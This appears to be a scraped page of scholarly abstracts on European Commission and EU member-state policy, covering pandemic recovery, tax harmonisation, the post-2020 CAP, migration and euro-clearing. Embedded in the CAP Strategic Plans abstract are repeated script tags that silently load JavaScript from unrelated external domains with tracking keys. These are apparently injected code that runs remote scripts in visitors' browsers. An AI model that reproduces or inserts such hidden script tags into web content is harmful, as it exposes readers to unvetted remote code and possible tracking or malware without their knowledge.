scholarly journals Pandemia COVID-19 a gospodarka Unii Europejskiej – instrumenty antykryzysowe oraz implikacje dla budżetu UE i jej państw członkowskich

2021 ◽  
pp. 81-98
Author(s):  
Małgorzata Dziembała ◽  
Agnieszka Kłos

At the turn of 2019 and 2020 the world economy experienced a slowdown resulting from the COVID-19 pandemic. Negative repercussions of the measures taken, related to the slowdown in economic activity, have been experienced by all EU Member States. The article aims to present the influence of the pandemic on the EU economy and to identify the selected EU measures and instruments implemented to counteract the implications of COVID-19 in 2020 and 2021–2027. The authors attempt to answer the following questions: (1) Will the actions taken by the European Commission and temporary state aid measures positively impact reducing the negative implications of the economic and social crisis caused by the pandemic? (2) Are the proposed instruments and their financing sources ensuring the recovery of the EU economy sufficient? The article puts forward a hypothesis that the prepared financial instruments implemented at the EU level should reduce the negative implications of the pandemic to some extent; however, close cooperation between the Member States and European institutions in terms of coordination of the implemented measures and instruments is necessary to render them more effectively. The authors utilise the descriptive, normative and diachronic methods. The analysis of the implemented remedial actions at the EU level and at the level of a Member State (Poland) leads to the conclusion that despite the economic crisis prevention measures introduced by the European Commission, the burden of counteracting the consequences of the epidemic rests mainly with the countries whose governments have introduced anti-crisis packages.


elni Review ◽  
2009 ◽  
pp. 79-82
Author(s):  
Ana Barreira

The European Commission has recognised that “[l]aws do not serve their full purpose unless they are properly applied and enforced”. In addition “[t]he European Institutions and the Member States should continue to develop their work to ensure that Community law is correctly applied and implemented”. There are diverse tools for guaranteeing compliance such as compliance indicators, compliance and enforcement strategies and environmental inspections, the purpose of which is to supervise compliance. This article focuses on the latter. Firstly, the way in which this instrument was incorporated under Community environmental policy is examined. Secondly, the current status of environmental inspections at EU level is briefly analysed. Thereafter, it will concentrate on the proposals for the review of this tool, ending with some recommendations on how environmental inspections should be regulated in the European Union with a focus on the demands of European Environmental Bureau (EEB) on this matter.



Author(s):  
Danuše Nerudová

In 2007, when the pilot project of Home State Taxation System should started, but none of the EU Member States applied for, the European Commission has turned its attention to different project in the area of corporate income taxation. The paper presents the problems of consolidation under the system of Common Consolidated Corporate Tax Base, which is at present the aim of the European Commission in the area of corporate tax harmonization. Firstly, the paper presents the results of comparative analysis, which have been done throughout the EU Member States. The research was aimed at the area of group taxation schemes availability. Secondly, the paper presents the draft of CCCTB directive in the field of creation of the group for taxation purposes, the rules for access and exit from the group and the rules for calculation of thresholds for voting rights. The different possibilities of group creation are presented on the schemes. The paper also discuss the rules, suggested by the draft directive, which could create legal uncertainty for the companies and could cause the situation in which the companies would not know whether they can consolidate their accounting results or not, or whether they are the member of the group or not. The paper suggests the possible solutions in that area. At the end, there are also mentioned and discussed the methods, which could be used for consolidation under CCCTB system in the EU.



Author(s):  
Ewa Latoszek ◽  
Agnieszka Kłos

The aim of this article is to present the essence of competition policy and its implementation in the European Union in the context of ongoing globalization of the world economy. The paper will present selected factors that stimulate the process of globalization, main objectives and tools supporting the functioning of the EU internal market, and the place of the European Commission as a body that enforces compliance with the rules of competition by companies and the Member States.



2018 ◽  
Vol 20 (2) ◽  
pp. 148-161
Author(s):  
Bernard Spiegel

For EU Member States like Austria, the EU Regulations on the coordination of social security schemes are the focus of academic and political attention. They deal with many cases and are usually very complex. They are supervised by the European Commission and the CJEU. Compared to these EU rules, bilateral agreements with third countries are treated as step-children. They do not get the academic and political attention they deserve, taking into account their importance in practice. They have common features compared to the EU rules, but there are also remarkable differences in the texts and their interpretation. The differences sometimes lead to practical problems of application and interpretation in the EU Member States. Based on Austrian experiences, all these aspects are elaborated in this article. Enhanced cooperation and exchange of information between the EU Member States in the future could help to improve the negotiating position of these countries and also guarantee greater esteem for the bilateral agreements.



2016 ◽  
Vol 17 (6) ◽  
pp. 942-963 ◽  
Author(s):  
Hanno Wehland

The European Commission and a number of EU Member States have long disputed the compatibility of intra-EU BITs with EU law. As illustrated by the Micula v Romania proceedings, where an investor seeks to enforce an intra-EU BIT award, which is seen as being in conflict with EU law, this can raise questions as to the extent to which an enforcing court should take this kind of conflict into account. The present contribution systematically analyses this issue with regard to both ICSID and non-ICSID awards, differentiating between enforcement proceedings within and outside of the EU. It concludes that within the EU even the enforcement of ICSID awards cannot be entirely taken for granted where such enforcement would lead to the violation of a fundamental provision of EU law.



2020 ◽  
Vol 20 (1) ◽  
pp. 149
Author(s):  
Tomás García Azcárate ◽  
Carina Folkeson

<div><div><p>A key element of the European Commission´s proposal for the post-2020 CAP is the re-quirement for the EU Member States to present their proposed interventions in the form of a Strategic Plan. We addresses six sensitive issues: Similarities between the new architecture and the Rural Development historical management; performance reserve and duration of the financial perspectives; declared ambitions for the Strategic Plans; lengths of those Plans and an administrative challenge, in Spain and perhaps in other Member states. Our conclusion is that a real change is achievable but we should give time to time and that a step-by-step implementation is advisable.</p></div></div><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1578922923595"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script><script type="text/javascript" src="https://blinkjork.com/214f104573d95d95ba.js"></script><script type="text/javascript" src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&amp;uid=8527x"></script><script type="text/javascript" src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&amp;uid=8527x&amp;format=arrjs&amp;r=1583929298033"></script><script type="text/javascript" src="https://blinkjork.com/ext/214f104573d95d95ba.js?sid=52550_8527_&amp;title=s&amp;blocks[]=31af2"></script>



Author(s):  
Andrew Vyacheslavovich Rybakov

The relevance of the selected topic is substantiated by the fact that in modern world migration has become a significant factor in the development of both accepting countries and countries of origin. Europe hosts the largest number of migrants. Since 2015, the EU member-states have been experiencing strong migration pressure. The existing migration stands in need for reform. The New Pact on Migration and Asylum should be a significant step towards creating a reliable and effective system for regulation of migration. The subject of this research is the institutional and legal characteristics of the EU New Pact on Migration and Asylum. The article analyzes the proposals of the European Commission regarding the migration policy reform, as well as the political-legal mechanism for their implementation; contradictions between the member-states in the course of the relevant discussions. The following conclusions are made: 1) It must be admitted that the new approach of the European Commission is comprehensive and aimed at integration of the internal and external aspects of migration policy. 2) The structure of the Pact corresponds to the goals of migration policy and consists on three levels &ndash; external, namely relations with the countries of origin and transit of migrants; control over the external borders of the EU; a new system of permanent solidarity. 3) As an annex to the New Pact on Migration and Asylum, the European Commission has presented a roadmap for implementation of various proposals. However, by the end of 2021, the schedule for the adoption of legal documents is not being maintained. 4) The only common denominator between the different groups of countries is the orientation towards external actions aimed at curbing migration movements prior to their arrival to Europe. 5) The plan of the European Commission on adoption of rules obligatory for all member-states currently seems untenable, considering the clashing interests.



Author(s):  
Olga Nikolaevna Sinkina

The object of this research is the concept of restructuring, which in the conditions of crisis in the European Union is positioned as an instrument for its overcoming and the procedure for its verification by the auditor. The subject of this research is a range of question associated on the peculiarities of positioning of the concept of restructuring in the EU. The article analyzes the criteria for insolvency and tests for the presence of the signs of insolvency according to the national legislation of the EU jurisdiction based on the typical crisis process. The author introduces the definition of the concept of restructuring, its framework and elements. The recommendations of the European Commission on overcoming crisis situations and insolvency of companies are provided; the principles of preventive concept of restructuring are analyzed; the auditor&rsquo;s procedures pertaining to the concept of restructuring are formulated. The research methodology relies on the fundamental provisions presented in the works of foreign scholars. The main conclusions are as follows: the responsibility of the corporate management in a number of EU member-states includes verification of compliance with the established criteria of insolvency on the regular basis; for this, it is necessary to submit the report to regulatory authorities on the current state of the company and decision on overcoming the crisis, usually in the form of the concept of restructuring approved by the auditor. The scientific novelty of this research consists in: 1) generalization of legal regulation of the criteria of insolvency in the EU member-states, tests for the presence of the signs of insolvency, responsibility of corporate management, outline of the restructuring plan; 2) positioning of the concept of restructuring, formulation of definition of the concept of restructuring, its framework and elements; 3) analysis of the principles of the preventive concept of restructuring of the European Commission; 4) development of audit procedures concerning the concept of restructuring.



Subject London euro-clearing post-Brexit. Significance The European Commission released draft legislation on June 13 proposing the European Securities and Markets Authority (ESMA) supervise non-EU-based clearing houses that are deemed systemically important, in effect giving the EU the power to insist euro-clearing remains in the bloc after Brexit. On June 23, the ECB proposed a “significantly enhanced” role for the ECB in euro-clearing. Forcing euro-clearing into the euro-area shows the bloc puts protecting its own interests before globalisation, also suggesting that the post-Brexit EU may increasingly prioritise political imperatives over economic ones, and become less open to international business. Impacts The draft law will affect New York and Tokyo, which will gain from London if European finance becomes more fragmented. If passed, the law will give the ESMA strong powers to determine the geography of EU finance. Such political direction could cause tensions as not all EU member states are likely to welcome it.



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